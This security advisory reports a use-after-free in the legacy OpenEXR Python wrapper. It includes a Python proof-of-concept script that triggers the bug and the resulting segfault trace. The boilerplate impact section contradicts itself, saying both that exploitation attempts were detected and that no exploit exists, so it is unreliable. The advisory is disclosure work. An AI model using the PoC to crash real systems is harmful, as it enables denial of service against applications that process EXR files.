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PYSEC-2026-2844
No affected components available
Summary
There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286
PoC
import OpenEXR, Imath
# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"
# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
def __new__(cls, v):
return int.__new__(cls, v)
def __del__(self):
# stir the heap to make the UAF obvious under PYTHONMALLOC=debug
_ = bytearray(1_000_000)
class PixelTypeProxy:
@property
def v(self):
return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")
running
PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF...
Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first):
File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first):
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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